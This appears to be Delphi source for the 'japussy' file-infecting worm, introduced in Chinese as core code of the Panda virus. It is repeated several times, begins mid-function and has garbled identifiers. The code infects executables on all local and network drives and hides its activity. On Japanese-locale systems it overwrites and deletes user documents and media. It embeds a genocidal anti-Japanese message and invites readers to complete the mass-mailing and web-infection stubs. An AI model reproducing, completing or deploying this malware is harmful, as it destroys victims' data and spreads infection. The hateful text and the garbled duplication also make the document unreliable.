if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.